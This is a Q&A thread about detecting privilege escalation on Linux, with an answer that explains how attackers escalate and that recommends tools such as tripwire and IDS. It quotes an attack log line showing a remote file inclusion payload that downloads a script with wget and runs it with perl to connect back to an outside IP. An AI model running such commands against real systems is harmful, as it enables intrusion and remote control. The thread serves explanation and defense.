I am not a linux/unix expert but everytime when I read about some local privilege escalation exploit (e.g. this),I wonder if an OS can detect that there is someone logging in as root (or new root process starting)? Imagine a linux machine prepared with a configuration that if root logs in into it (or detects some exploit to gain root privileges) the machine will interrupt/shutdown itself and a backup machine (with different configuration) will start or an admin will be notified...Does my idea makes sense, or are most of the exploits undetectable due their nature?
Privilege escalation detection?
linux;security;root
Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.buffer overflowThis style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker. The good news:most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.in breaking in the attacker has left a considerable trail in a number of areas.The firewall logsWebserver logsOther potential security tool logsThe bad news:They've gained access to a system, and so have a beachhead where they can continue trying to break in further. The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.detecting root loginsMost systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.example #1:A would be attacker could gain root access by doing the following:Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.Determine that there's a weakness in this particular system's version of a tool such as the command ls.Overflow the tool ls to gain access to the root account.example #2:A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as slaves for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.Attacker uploads image to the forum site.Now attacker tricks webapp X into running his image.Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.web server log file of such an attack201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]  GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt  %2072.36.21.183%2021 HTTP/1.1 200NOTE: sample log from an Apache web server courtesy OSSEC.net.Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:cd /tmpwget http://72.36.254.26/~fanta/dc.txtperl dc.txt 72.36.21.183 21So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.Disabling a compromised serverThe idea that you can shut a server down that has detected an exploit is a good attempt, but it doesn't work for a couple of reasons.If the attacker can get into the first system, then they can probably get into the second system.Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).Attempting to limit damageI could go on and on but in general you have a few resources available when it comes to securing a system.Use tools such as tripwire to detect changes on a system's file system.Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.Analyze log files using tools to detect anomalies.Keep systems current and up to date with patches.Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.IDS - intrusion detection software.